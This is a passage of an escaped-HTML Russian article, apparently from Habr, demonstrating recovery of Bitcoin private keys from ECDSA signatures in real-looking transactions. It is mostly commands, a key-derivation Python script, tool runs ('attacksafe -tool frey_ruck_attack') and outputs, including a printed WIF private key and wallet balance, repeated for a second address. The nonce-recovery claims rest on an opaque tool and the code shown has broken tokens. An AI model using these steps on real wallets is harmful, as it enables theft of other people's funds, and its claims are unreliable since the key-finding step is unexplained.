data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/11b\/147\/ea0\/11b147ea028979a1be0bb2223bd55962.png\"\/><figcaption><\/figcaption><\/figure>\n<pre><code>Deployments ECDSA: SecretKey = 0x58d6e63d9240827078edf802e475bb04cd889e7308e409623b1dc92e61e4fd55 RawTX = 0100000001a48220a0fcc53f187abaaed77e1fb6e3fe870f2f77ecc26baf6ae2bb1cbbb3b2070000006b483045022015662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238022100c3f838aca7d8a74904f341dd2394616e72f470cfd371fb52d30da146606c2c3001210205ea35089d57f0282fab836217e5a702d8fa528cef078d60f523fec2ca9c2f50ffffffff010000000000000000046a02445300000000<\/code><\/pre>\n<p>\u041c\u044b \u0432\u0438\u0434\u0438\u043c \u043d\u0430\u0434\u043f\u0438\u0441\u044c\u00a0<code>\"Deployments ECDSA\"<\/code>\u00a0\u044d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438 \u0431\u043b\u043e\u043a\u0447\u0435\u0439\u043d\u0430 \u0411\u0438\u0442\u043a\u043e\u0438\u043d\u0430<\/p>\n<p><code>SecretKey \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 HEX, \u044d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u043d\u0430\u0448 \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \"K\" (NONCE):<\/code><\/p>\n<p><code>K = 0xf228f3857bd39809d8de6ba8eeb4f21d2d7acc6156a972cd9a2baaa9f8f6a7ce<\/code><\/p>\n<hr\/>\n<h3>\u0421\u0434\u0435\u043b\u0430\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e\u00a0Python-\u0441\u043a\u0440\u0438\u043f\u0442\u0430\u00a0point2gen.py<\/h3>\n<hr\/>\n<p>\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u043e\u0439 \u044d\u043b\u043b\u0438\u043f\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u0440\u0438\u0432\u044b\u0445\u00a0<a href=\"https:\/\/pypi.org\/project\/ECPy\/\" rel=\"noopener noreferrer nofollow\"><strong><u>ECPy<\/u><\/strong><\/a>:<\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0441\u043a\u0440\u0438\u043f\u0442 \u0443\u043a\u0430\u0437\u0430\u0432<code>\u00a0\u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \"K\" (NONCE)<\/code>:<\/p>\n<pre><code>python3 point2gen.py 0x58d6e63d9240827078edf802e475bb04cd889e7308e409623b1dc92e61e4fd55<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/abf\/5bd\/816\/abf5bd8160dd0ca0e639fb039949b45c.png\" alt=\"\" title=\"\" width=\"1024\" height=\"94\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/abf\/5bd\/816\/abf5bd8160dd0ca0e639fb039949b45c.png\"\/><figcaption><\/figcaption><\/figure>\n<p><code>(0x15662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238 , 0xfc2f3b91b19091745fb29d48725f1060ce4924624b01ff57f14b683430822c8a)<\/code><\/p>\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0442\u044b \u0442\u043e\u0447\u043a\u0438\u00a0<code>EC (secp256k1)\u00a0<\/code>\u0441 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u044b\u00a0<code>R<\/code><\/p>\n<pre><code>R = 0x15662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238 S = 0xc3f838aca7d8a74904f341dd2394616e72f470cfd371fb52d30da146606c2c30 Z = 0x560177d0444e4271e144501d614bc8f564f320196b2c7c47922e7f8e6664d0bc<\/code><\/pre>\n<hr\/>\n<pre><code>R          =    0x15662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238 point2gen  =   (0x15662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238 , 0xfc2f3b91b19091745fb29d48725f1060ce4924624b01ff57f14b683430822c8a)<\/code><\/pre>\n<p><code>\u0412\u0421\u0415 \u0412\u0415\u0420\u041d\u041e!<\/code><\/p>\n<p><code>K = 0x58d6e63d9240827078edf802e475bb04cd889e7308e409623b1dc92e61e4fd55<\/code><\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0437\u043d\u0430\u044f \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043a \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u041a\u043e\u0448\u0435\u043b\u044c\u043a\u0443:\u00a0<code>16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2<\/code><\/p>\n<hr\/>\n<h3>\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f\u00a0Python-\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c:\u00a0calculate.py\u00a0> > > \u041f\u043e\u043b\u0443\u0447\u0438\u043c \u041f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u041a\u043b\u044e\u0447<\/h3>\n<hr\/>\n<p>\u041e\u0442\u043a\u0440\u043e\u0435\u043c \u043a\u043e\u0434 \u0438 \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u0432\u0441\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u00a0<code>K, R, S, Z<\/code><\/p>\n<pre><code>def h(n): return hex(n).replace(\"0x\",\"\") def extended_gcd(aa, bb): lastremainder, remainder = abs(aa), abs(bb) x, lastx, y, lasty = 0, 1, 1, 0 while remainder: lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder) x, lastx = lastx - quotientx, x y, lasty = lasty - quotienty, y return lastremainder, lastx * (-1 if aa &lt; 0 else 1), lasty * (-1 if bb &lt; 0 else 1) def modinv(a, m): g, x, y = extended_gcd(a, m) if g != 1: raise ValueError return x % m N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141 K = 0x58d6e63d9240827078edf802e475bb04cd889e7308e409623b1dc92e61e4fd55 R = 0x15662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238 S = 0xc3f838aca7d8a74904f341dd2394616e72f470cfd371fb52d30da146606c2c30 Z = 0x560177d0444e4271e144501d614bc8f564f320196b2c7c47922e7f8e6664d0bc print (h((((S * K) - Z) * modinv(R,N)) % N))<\/code><\/pre>\n<h3>\u0421\u043a\u0440\u0438\u043f\u0442 \u0440\u0430\u0441\u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043f\u043e \u0444\u043e\u0440\u043c\u0443\u043b\u0435:<\/h3>\n<p><code>Privkey = ((((S * K) - Z) * modinv(R,N)) % N)<\/code><\/p>\n<p>\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0441\u043a\u0440\u0438\u043f\u0442:<\/p>\n<pre><code>python3 calculate.py<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/f75\/411\/ebc\/f75411ebcdf4f3d1598e78923854c27f.png\" alt=\"\" title=\"\" width=\"749\" height=\"271\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/f75\/411\/ebc\/f75411ebcdf4f3d1598e78923854c27f.png\"\/><figcaption><\/figcaption><\/figure>\n<p><code>PrivKey = 4dc65ac1c7863c8a7a868f369b7a37ec1918d429fff3afbc97fcdf4b454fbfe1<\/code><\/p>\n<p>\u041e\u0442\u043a\u0440\u043e\u0435\u043c\u00a0<a href=\"https:\/\/cryptodeep.ru\/bitaddress.html\" rel=\"noopener noreferrer nofollow\"><strong><u>bitaddress<\/u><\/strong><\/a>\u00a0\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043c:<\/p>\n<pre><code>ADDR: 16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2 WIF:  KyptrwaRhaF7VCwnWo2FDMoRCj9KGvoESDGmxtRk7b65csxaU2aM HEX:  4dc65ac1c7863c8a7a868f369b7a37ec1918d429fff3afbc97fcdf4b454fbfe1<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/617\/f57\/e9d\/617f57e9dfa64f4d74741b2f54e8eed7.png\" alt=\"\" title=\"\" width=\"830\" height=\"830\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/617\/f57\/e9d\/617f57e9dfa64f4d74741b2f54e8eed7.png\"\/><figcaption><\/figcaption><\/figure>\n<hr\/>\n<p><a href=\"https:\/\/www.blockchain.com\/btc\/address\/16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/www.blockchain.com\/btc\/address\/16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2<\/u><\/a><\/p>\n<hr\/>\n<p><code>\u041f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043d\u0430\u0439\u0434\u0435\u043d!<\/code><\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/2a1\/ce5\/de7\/2a1ce5de72671639d46476a08b9103ce.png\" alt=\"www.blockchain.com\/btc\/address\/16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2\" title=\"www.blockchain.com\/btc\/address\/16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2\" width=\"1024\" height=\"459\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/2a1\/ce5\/de7\/2a1ce5de72671639d46476a08b9103ce.png\"\/><figcaption>www.blockchain.com\/btc\/address\/16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2<\/figcaption><\/figure>\n<p><code>BALANCE: $ 711.91<\/code><\/p>\n<hr\/>\n<p><code>\u21164<\/code><\/p>\n<p>\u041f\u0440\u0438 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u043e\u043c \u043a\u0440\u0438\u043f\u0442\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u043c\u044b \u0442\u0430\u043a\u0436\u0435 \u043d\u0430\u0448\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438 \u0432 \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u0410\u0434\u0440\u0435\u0441\u0435:<\/p>\n<blockquote>\n<p><a href=\"https:\/\/btc.exan.tech\/address\/12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q\" rel=\"noopener noreferrer nofollow\"><strong><u>12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q<\/u><\/strong><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/tx\/ac6259da5eb98bf11b5cda804175ac666ebd1b7118da51d206936b43cb368542\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/btc.exan.tech\/tx\/ac6259da5eb98bf11b5cda804175ac666ebd1b7118da51d206936b43cb368542<\/u><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/tx\/4ff10d8a7246f0c46acb9fefa6ea23497f6b7825307414ca3fc80bcbae9194af\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/btc.exan.tech\/tx\/4ff10d8a7246f0c46acb9fefa6ea23497f6b7825307414ca3fc80bcbae9194af<\/u><\/a><\/p>\n<\/blockquote>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/f39\/872\/bf7\/f39872bf7978dde85be4f102af451e1f.png\" alt=\"\" title=\"\" width=\"1008\" height=\"178\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/f39\/872\/bf7\/f39872bf7978dde85be4f102af451e1f.png\"\/><figcaption><\/figcaption><\/figure>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/9ef\/7c4\/514\/9ef7c45140027964f25133a53828238b.png\" alt=\"\" title=\"\" width=\"1009\" height=\"174\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/9ef\/7c4\/514\/9ef7c45140027964f25133a53828238b.png\"\/><figcaption><\/figcaption><\/figure>\n<hr\/>\n<h3>\u041f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u043c RawTX \u0434\u043b\u044f \u0430\u0442\u0430\u043a\u0438<\/h3>\n<hr\/>\n<blockquote>\n<p><a href=\"https:\/\/btc.exan.tech\/address\/12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q\" rel=\"noopener noreferrer nofollow\"><strong><u>12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q<\/u><\/strong><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/tx\/ac6259da5eb98bf11b5cda804175ac666ebd1b7118da51d206936b43cb368542\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/btc.exan.tech\/tx\/ac6259da5eb98bf11b5cda804175ac666ebd1b7118da51d206936b43cb368542<\/u><\/a><\/p>\n<\/blockquote>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/c70\/50e\/300\/c7050e300b1c113d5543095cea6287bc.png\" alt=\"\" title=\"\" width=\"1024\" height=\"95\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/c70\/50e\/300\/c7050e300b1c113d5543095cea6287bc.png\"\/><figcaption><\/figcaption><\/figure>\n<pre><code>RawTX = 0100000001d5ecb7299d4005bc1c9bb2325de6428a882a6df8fefd74e740139a6b53bdb40e060000006b4830450221009cff5d8357756520391438c44415c706036e9e16d440cb8892e4b91423f0f67502204e8eaec16ebb4816d53cd08f882221c37db6aed27b5c77a0cb12455af91200ac012103c1915f97b2480c478e6b1111ae03c29f55013351a126b7f0cfbab4a34f3c712bffffffff010000000000000000046a02445300000000 <\/code><\/pre>\n<h3>\u0422\u0435\u043f\u0435\u0440\u044c \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0432\u0441\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 R, S, Z \u0438\u0437 \u0432\u0441\u0435\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438<\/h3>\n<p>\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c <a href=\"http:\/\/breakECDSA.py\" rel=\"noopener noreferrer nofollow\">breakECDSA.py<\/a><\/p>\n<pre><code>python2 breakECDSA.py 0100000001d5ecb7299d4005bc1c9bb2325de6428a882a6df8fefd74e740139a6b53bdb40e060000006b4830450221009cff5d8357756520391438c44415c706036e9e16d440cb8892e4b91423f0f67502204e8eaec16ebb4816d53cd08f882221c37db6aed27b5c77a0cb12455af91200ac012103c1915f97b2480c478e6b1111ae03c29f55013351a126b7f0cfbab4a34f3c712bffffffff010000000000000000046a02445300000000 <\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/237\/376\/31e\/23737631e2a4d4d7db5ffe8dff7c44fa.png\" alt=\"\" title=\"\" width=\"1024\" height=\"256\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/237\/376\/31e\/23737631e2a4d4d7db5ffe8dff7c44fa.png\"\/><figcaption><\/figcaption><\/figure>\n<pre><code>R = 0x9cff5d8357756520391438c44415c706036e9e16d440cb8892e4b91423f0f675 S = 0x4e8eaec16ebb4816d53cd08f882221c37db6aed27b5c77a0cb12455af91200ac Z = 0xccbd1c0f0ef3f70fb985e64184014998a8435078b7bb75e51ca6ae1c37aa30e1<\/code><\/pre>\n<hr\/>\n<p>\u0427\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0438\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u0438 ECDSA, \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u0434\u0430\u043d\u043d\u044b\u0435\u00a0<code>RawTX<\/code>\u00a0\u0432 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u043c \u043a\u0430\u043a \u0444\u0430\u0439\u043b\u00a0<code>RawTX.txt<\/code><\/p>\n<pre><code>0100000001d5ecb7299d4005bc1c9bb2325de6428a882a6df8fefd74e740139a6b53bdb40e060000006b4830450221009cff5d8357756520391438c44415c706036e9e16d440cb8892e4b91423f0f67502204e8eaec16ebb4816d53cd08f882221c37db6aed27b5c77a0cb12455af91200ac012103c1915f97b2480c478e6b1111ae03c29f55013351a126b7f0cfbab4a34f3c712bffffffff010000000000000000046a02445300000000<\/code><\/pre>\n<hr\/>\n<h3>\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c\u00a0-tool frey_ruck_attack\u00a0\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435\u00a0\u201cATTACKSAFE SOFTWARE\u201d<\/h3>\n<hr\/>\n<pre><code>.\/attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/d55\/fd6\/d6a\/d55fd6d6af645c1d273d0ca90a780d85.png\" alt=\"\" title=\"\" width=\"1024\" height=\"321\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/d55\/fd6\/d6a\/d55fd6d6af645c1d273d0ca90a780d85.png\"\/><figcaption><\/figcaption><\/figure>\n<p>\u041c\u044b \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u0434\u0430\u043d\u043d\u0443\u044e \u0430\u0442\u0430\u043a\u0443 \u0438\u0437\u00a0<code>-tool frey_ruck_attack<\/code>\u00a0\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u043b\u0441\u044f \u0432 \u0444\u0430\u0439\u043b\u00a0<code>SecretKey.txt<\/code><\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043e\u0442\u043a\u0440\u043e\u0435\u043c \u0444\u0430\u0439\u043b\u00a0<code>SecretKey.txt<\/code><\/p>\n<pre><code>cat SecretKey.txt<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/dfb\/11e\/b12\/dfb11eb1224f0ce5edbeafe686692c7b.png\" alt=\"\" title=\"\" width=\"1024\" height=\"453\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/dfb\/11e\/b12\/dfb11eb1224f0ce5edbeafe686692c7b.png\"\/><figcaption><\/figcaption><\/figure>\n<pre><code>Deployments ECDSA: SecretKey = 0x459733bf6c7972a0d894fe84e14b06803405e82d8fd1572d3376ff99049def4f RawTX = 0100000001d5ecb7299d4005bc1c9bb2325de6428a882a6df8fefd74e740139a6b53bdb40e060000006b4830450221009cff5d8357756520391438c44415c706036e9e16d440cb8892e4b91423f0f67502204e8eaec16ebb4816d53cd08f882221c37db6aed27b5c77a0cb12455af91200ac012103c1915f97b2480c478e6b1111ae03c29f55013351a126b7f0cfbab4a34f3c712bffffffff010000000000000000046a02445300000000<\/code><\/pre>\n<p>\u041c\u044b \u0432\u0438\u0434\u0438\u043c \u043d\u0430\u0434\u043f\u0438\u0441\u044c\u00a0<code>\"Deployments ECDSA\"<\/code>\u00a0\u044d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438 \u0431\u043b\u043e\u043a\u0447\u0435\u0439\u043d\u0430 \u0411\u0438\u0442\u043a\u043e\u0438\u043d\u0430<\/p>\n<p><code>SecretKey \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 HEX, \u044d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u043d\u0430\u0448 \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \"K\" (NONCE):<\/code><\/p>\n<p><code>K = 0x459733bf6c7972a0d894fe84e14b06803405e82d8fd1572d3376ff99049def4f<\/code><\/p>\n<hr\/>\n<h3>\u0421\u0434\u0435\u043b\u0430\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e\u00a0Python-\u0441\u043a\u0440\u0438\u043f\u0442\u0430\u00a0point2gen.py<\/h3>\n<hr\/>\n<p>\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u043e\u0439 \u044d\u043b\u043b\u0438\u043f\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u0440\u0438\u0432\u044b\u0445\u00a0<a href=\"https:\/\/pypi.org\/project\/ECPy\/\" rel=\"noopener noreferrer nofollow\"><strong><u>ECPy<\/u><\/strong><\/a>:<\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0441\u043a\u0440\u0438\u043f\u0442 \u0443\u043a\u0430\u0437\u0430\u0432<code>\u00a0\u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \"K\" (NONCE)<\/code>:<\/p>\n<pre><code>python3 point2gen.py 0x459733bf6c7972a0d894fe84e14b06803405e82d8fd1572d3376ff99049def4f<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/04d\/530\/6b5\/04d5306b5df68f851a531cbc4e3588e2.png\" alt=\"\" title=\"\" width=\"1024\" height=\"92\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/04d\/530\/6b5\/04d5306b5df68f851a531cbc4e3588e2.png\"\/><figcaption><\/figcaption><\/figure>\n<p><code>(0x9cff5d8357756520391438c44415c706036e9e16d440cb8892e4b91423f0f675 , 0x79751db08bb33615fbdf6387f5f0f28c6702213eb20607e28760af1aaaeb273e)<\/code><\/p>\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0442\u044b \u0442\u043e\u0447\u043a\u0438\u00a0<code>EC (secp256k1)\u00a0<\/code>\u0441 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u044b\u00a0<code>R<\/code><\/p>\n<pre><code>R = 0x9cff5d8357756520391438c44415c706036e9e16d440cb8892e4b91423f0f675 S = 0x4e8eaec16ebb4816d53cd08f882221c37db6aed27b5c77a0cb12455af91200ac Z = 0xccbd1c0f0ef3f70fb985e64184014998a8435078b7bb75e51ca6ae1c37aa30e1<\/code><\/pre>\n<hr\/>\n<pre><code>R          =    0x9cff5d8357756520391438c44415c706036e9e16d440cb8892e4b91423f0f675 point2gen  =   (0x9cff5d8357756520391438c44415c706036e9e16d440cb8892e4b91423f0f675 , 0x79751db08bb33615fbdf6387f5f0f28c6702213eb20607e28760af1aaaeb273e) <\/code><\/pre>\n<p><code>\u0412\u0421\u0415 \u0412\u0415\u0420\u041d\u041e!<\/code><\/p>\n<p><code>K = 0x459733bf6c7972a0d894fe84e14b06803405e82d8fd1572d3376ff99049def4f<\/code><\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0437\u043d\u0430\u044f \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043a \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u041a\u043e\u0448\u0435\u043b\u044c\u043a\u0443:\u00a0<code>12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q<\/code><\/p>\n<hr\/>\n<h3>\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f\u00a0Python-\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c:\u00a0calculate.py\u00a0> > > \u041f\u043e\u043b\u0443\u0447\u0438\u043c \u041f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u041a\u043b\u044e\u0447<\/h3>\n<hr\/>\n<p>\u041e\u0442\u043a\u0440\u043e\u0435\u043c \u043a\u043e\u0434 \u0438 \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u0432\u0441\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u00a0<code>K, R, S, Z<\/code><\/p>\n<pre><code>def h(n): return hex(n).replace(\"0x\",\"\") def extended_gcd(aa, bb): lastremainder, remainder = abs(aa), abs(bb) x, lastx, y, lasty = 0, 1, 1, 0 while remainder: lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder) x, lastx = lastx - quotientx, x y, lasty = lasty - quotienty, y return lastremainder, lastx * (-1 if aa &lt; 0 else 1), lasty * (-1 if bb &lt; 0 else 1) def modinv(a, m): g, x, y = extended_gcd(a, m) if g != 1: raise ValueError return x % m N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141 K = 0x459733bf6c7972a0d894fe84e14b06803405e82d8fd1572d3376ff99049def4f R = 0x9cff5d8357756520391438c44415c706036e9e16d440cb8892e4b91423f0f675 S = 0x4e8eaec16ebb4816d53cd08f882221c37db6aed27b5c77a0cb12455af91200ac Z = 0xccbd1c0f0ef3f70fb985e64184014998a8435078b7bb75e51ca6ae1c37aa30e1 print (h((((S * K) - Z) * modinv(R,N)) % N))<\/code><\/pre>\n<h3>\u0421\u043a\u0440\u0438\u043f\u0442 \u0440\u0430\u0441\u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043f\u043e \u0444\u043e\u0440\u043c\u0443\u043b\u0435:<\/h3>\n<p><code>Privkey = ((((S * K) - Z) * modinv(R,N)) % 